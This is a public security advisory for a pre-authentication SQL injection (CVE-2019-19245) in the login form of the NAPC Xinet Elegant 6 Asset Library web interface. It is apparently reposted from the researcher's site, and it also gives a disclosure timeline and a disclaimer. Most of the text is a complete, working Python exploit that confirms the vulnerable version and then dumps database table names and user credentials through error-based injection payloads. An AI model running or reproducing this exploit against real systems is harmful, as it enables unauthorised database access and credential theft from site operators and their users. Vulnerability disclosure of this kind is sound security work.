NAPC Xinet Elegant 6 Asset Library Web Interface v6.1.655 Pre-Auth SQL Injection 0Day

2019.12.01
us hyp3rlinx (US) us
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NAPC-XINET-ELEGANT-6-ASSET-LIBRARY-WEB-INTERFACE-PRE-AUTH-SQL-INJECTION.txt [+] ISR: ApparitionSec [Vendor] www.napc.com [Product] Xinet Elegant 6 Asset Library Web Interface v6.1.655 Web based interface for xinet asset management solution. [Vulnerability Type] Pre-Auth SQL Injection [CVE Reference] CVE-2019-19245 [Security Issue] NAPC Xinet (interface) Elegant 6 Asset Library v6.1.655 allows Pre-Authentication Error based SQL Injection via the /elegant6/login LoginForm[username] field when double quotes are used. The vulnerable version seems to be old, but it may still be possible to still find it deployed as I have. Vulnerable Parameter: LoginForm[username] (POST) Method. [Exploit/POC] import requests,time,re,sys,argparse #NAPC Xinet Elegant 6 Asset Library v6.1.655 #Pre-Auth SQL Injection 0day Exploit #By hyp3rlinx #ApparitionSec #============== #This will dump tables, usernames and passwords in vulnerable versions #REQUIRE PARAMS: LoginForm[password]=&LoginForm[rememberMe]=0&LoginForm[username]=SQL&yt0 #SQL INJECTION VULN PARAM --> LoginForm[username] #================================================ IP="" PORT="80" URL="" NUM_INJECTS=20 k=1 j=0 TABLES=False CREDS=False SHOW_SQL_ERROR=False def vuln_ver_chk(): global IP, PORT TARGET = "http://"+IP+":"+PORT+"/elegant6/login" response = requests.get(TARGET) if re.findall(r'\bElegant",appVersion:"6.1.655\b', response.content): print "[+] Found vulnerable NAPC Elegant 6 Asset Library version 6.1.655." return True print "[!] Version not vulnerable :(" return False def sql_inject_request(SQL): global IP, PORT URL = "http://"+IP+":"+PORT+"/elegant6/login" tmp="" headers = {'User-Agent': 'Mozilla/5.0'} payload = {'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL} session = requests.Session() res = session.post(URL,headers=headers,data=payload) idx = res.content.find('CDbCommand') # Start of SQL Injection Error in response idx2 = res.content.find('key 1') # End of SQL Injection Error in response return res.content[idx : idx2+3] #Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc def inc(): global k,j while j < NUM_INJECTS: j+=1 if k !=1: k+=1 return str(j)+','+str(k) def tidy_up(results): global CREDS idx = results.find("'") if idx != -1: idx2 = results.rfind("'") if not CREDS: return results[idx + 1: idx2 -2] else: return results[idx + 2: idx2] def breach(i): global k,j,NUM_INJECTS,SHOW_SQL_ERROR result="" #Dump Usernames & Passwords if CREDS: if i % 2 == 0: target='username' else: target='password' SQL=('"and (select 1 from(select count(*),concat((select(select concat(0x2b,'+target+'))' 'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user group by x)a)-- -') if not SHOW_SQL_ERROR: result = tidy_up(sql_inject_request(SQL)) else: result = sql_inject_request(SQL)+"\n" print "[+] Dumping "+target+": "+result #Dump Tables if TABLES: while j < NUM_INJECTS: nums = inc() SQL=('"and (select 1 from (Select count(*),Concat((select table_name from information_schema.tables where table_schema=database()' 'limit '+nums+'),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x)-- -') if not SHOW_SQL_ERROR: result = tidy_up(sql_inject_request(SQL)) else: result = sql_inject_request(SQL) + "\n" print "[+] Dumping Table... " +result time.sleep(0.3) def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-i", "--ip_address", help="<TARGET-IP>.") parser.add_argument("-p", "--port", help="Port, Default is 80") parser.add_argument("-t", "--get_tables", nargs="?", const="1", help="Dump Database Tables.") parser.add_argument("-c", "--creds", nargs="?", const="1", help="Dump Database Credentials.") parser.add_argument("-m", "--max_injects", nargs="?", const="1", help="Max SQL Injection Attempts, Default is 20.") parser.add_argument("-s", "--show_sql_errors", nargs="?", const="1", help="Display SQL Errors, Default is Clean Dumps.") parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show script usage.") return parser.parse_args() def usage(): print "Dump first ten rows of usernames and passwords" print "NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -c -m 10\n" print "\nDump first five rows of database tables and show SQL errors" print "NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -t -m 5 -s\n" exit(0) def main(args): global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR if args.ip_address: IP=args.ip_address if args.port: PORT=args.port if args.get_tables: TABLES=True if args.creds: CREDS=True if args.max_injects: NUM_INJECTS = int(args.max_injects) if args.show_sql_errors: SHOW_SQL_ERROR=True if args.examples: usage() if vuln_ver_chk(): for i in range(0, NUM_INJECTS): breach(i) time.sleep(0.3) if __name__=='__main__': parser = argparse.ArgumentParser() print "NAPC Elegant 6 Asset Library v6.1.655" print "Pre-Authorization SQL Injection 0day Exploit" print "Discovery / eXploit By hyp3rlinx" print "ApparitionSec\n" time.sleep(0.5) if len(sys.argv)== 1: parser.print_help(sys.stderr) sys.exit(0) main(parse_args()) [Network Access] Remote [POC Video URL] https://www.youtube.com/watch?v=mdw_sPlshmI [Severity] Critical [Disclosure Timeline] Vendor Notification: November 13, 2018 Second attempt: October 12, 2019 November 29, 2019 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

References:

http://hyp3rlinx.altervista.org/advisories/NAPC-XINET-ELEGANT-6-ASSET-LIBRARY-WEB-INTERFACE-PRE-AUTH-SQL-INJECTION.txt


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